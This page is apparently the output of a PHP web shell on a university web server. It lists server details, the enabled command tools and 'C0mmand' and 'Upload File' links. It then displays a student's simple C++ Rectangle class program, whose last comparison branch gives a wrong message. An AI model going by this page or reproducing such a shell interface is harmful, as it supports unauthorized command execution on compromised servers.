Server IP : 172.16.15.8 / Your IP : 3.15.211.71 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/grpatillo/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
/* */ #include <iostream> using namespace std; class Rectangle { float length; float width; public: Rectangle() { length = 0; width = 0; } Rectangle( float l, float w) { length = l; width = w; } void Set(float l, float w) { length = l; width = w; } void Print() const { cout << "The length is: " << length << endl; cout << "The width is: " << width << endl; cout << "The area is: " << Area() << endl; } float Area() const { float area; area = length * width; return area; } bool GreaterThan(Rectangle aRec) { bool rec=false; if(Area() > aRec.Area() ) rec = true; return rec; } }; int main() { Rectangle rec1(2, 3); Rectangle rec2; float L, W; rec2.Set(1, 5); rec2.Print(); cout << "Input the length for rec1: " << endl; cin >> L; while(cin) { cout << "Input the width for rec1: " << endl; cin >> W; rec1.Set(L, W); rec1.Print(); cout << "Input the length for rec1: " << endl; cin >> L; } rec1.Area(); rec2.Area(); if (rec1.GreaterThan(rec2) == true) cout << "Rec1 is greater than Rec2" << endl; else if (rec2.GreaterThan(rec1) == false) cout << "Rec2 is greater than Rec1" << endl; return 0; }